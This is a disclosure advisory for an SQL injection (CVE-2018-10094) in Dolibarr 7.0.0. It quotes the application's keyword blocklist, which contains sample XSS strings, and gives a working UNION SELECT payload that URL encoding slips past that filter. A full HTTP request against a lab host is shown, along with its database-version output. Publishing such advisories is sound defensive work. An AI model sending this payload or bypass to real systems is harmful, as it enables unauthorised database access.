Dolibarr version 7.00 suffers from a remote SQL injection vulnerability.
e03e0add79b3761be0c7598036d73c5f# [CVE-2018-10094] Dolibarr SQL Injection vulnerability
## Description
Dolibarr is an "Open Source ERP & CRM for Business" used by many
companies worldwide.
It is available through [GitHub](https://github.com/Dolibarr/dolibarr)
or as distribution packages (e.g .deb package).
**Threat**
The application does not handle user input properly and allows execution
of arbitrary SQL commands on the database.
**Expectation**
Prepared queries should be used in order to avoid SQL injection in user
input.
## Vulnerability type
**CVE ID**: CVE-2018-10094
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-89
**CVSS Base Score**: 7.5
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
## Details
The database connector escapes quotes with the `real_escape_string()`
wrapper. However it is still possible to perform injection on integer
parameters without quotes.
```php
mysqli.class.php
/**
* Escape a string to insert data
*
* @param string $stringtoencode String to escape
* @return string String escaped
*/
function escape($stringtoencode)
{
return $this->db->real_escape_string($stringtoencode);
}
```
Additional checks are defined later, which forbit some SQL keywords (e.g
`union`, `create`, `insert`). However, by url encoding the payload,
these checks are bypassed.
```php
main.inc.php
/**
* Security: SQL Injection and XSS Injection (scripts) protection
(Filters on GET, POST, PHP_SELF).
*
* @param string $val Value
* @param string $type 1=GET, 0=POST, 2=PHP_SELF
* @return int >0 if there is an injection
*/
function test_sql_and_script_inject($val, $type)
{
$inj = 0;
// For SQL Injection (only GET are used to be included into bad
escaped SQL requests)
if ($type == 1)
{
$inj += preg_match('/updatexml\(/i', $val);
$inj += preg_match('/delete\s+from/i', $val);
$inj += preg_match('/create\s+table/i', $val);
$inj += preg_match('/insert\s+into/i', $val);
$inj += preg_match('/select\s+from/i', $val);
$inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);
}
if ($type != 2) // Not common, we can check on POST
{
$inj += preg_match('/update.+set.+=/i', $val);
$inj += preg_match('/union.+select/i', $val);
$inj += preg_match('/(\.\.%2f)+/i', $val);
}
// For XSS Injection done by adding javascript with script
// This is all cases a browser consider text is javascript:
// When it found '<script', 'javascript:', '<style', 'onload\s=' on
body tag, '="&' on a tag size with old browsers
// All examples on page: http://ha.ckers.org/xss.html#XSScalc
// More on
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
$inj += preg_match('/<script/i', $val);
$inj += preg_match('/<iframe/i', $val);
$inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6
if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);
$inj += preg_match('/base[\s]+href/si', $val);
$inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can
be set on img or any html tag like <img title='...' onmouseover=alert(1)>
$inj += preg_match('/onerror\s*=/i', $val); // onerror can be
set on img or any html tag like <img title='...' onerror = alert(1)>
$inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be
set on input text html tag like <input type='text' value='...' onfocus =
alert(1)>
$inj += preg_match('/onload\s*=/i', $val); // onload can be
set on svg tag <svg/onload=alert(1)> or other tag like body <body
onload=alert(1)>
$inj += preg_match('/onclick\s*=/i', $val); // onclick can be
set on img text html tag like <img onclick = alert(1)>
$inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be
on textarea
//$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event
handlers onAbort(), ...
$inj += preg_match('/:|:|:/i', $val); //
refused string ':' encoded (no reason to have it encoded) to lock
'javascript:...'
//if ($type == 1)
//{
$inj += preg_match('/javascript:/i', $val);
$inj += preg_match('/vbscript:/i', $val);
//}
// For XSS Injection done by adding javascript closing html tags
like with onmousemove, etc... (closing a src or href tag with not
cleaned param)
if ($type == 1) $inj += preg_match('/"/i', $val); // We
refused " in GET parameters value
if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF
is a file system path. It can contains spaces.
return $inj;
}
```
## Proof of Concept : retrieving the database name.
Payload:
```
1) union select
0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
Url-encoded payload:
%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
```
```http
GET
/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23
HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5
Connection: close
Upgrade-Insecure-Requests: 1
...
</a>
</td>
<td>10.1.26-MariaDB-0+deb9u1</td>
<td>2</td>
<td></td>
<td>1</td>
<td>21</td>
<td class="nowrap">
```
## Affected versions
* Version 7.0.0 (last stable version as of March 2018) - previous
versions are probably also vulnerable but not tested
## Solution
Update to 7.0.2
([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog))
## Timeline (dd/mm/yyyy)
* 18/03/2018 : Initial discovery
* 17/04/2018 : Contact with the editor
* 17/04/2018 : Editor acknowledges the vulnerability
* 18/04/2018 : Editor announces fixes in version 7.0.2
* 21/05/2018 : Vulnerability disclosure
## Credits
* Issam RABHI (i dot rabhi at sysdream dot com)
* Kevin LOCATI (k dot locati at sysdream dot com)
--
SYSDREAM Labs <[email protected]>
GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream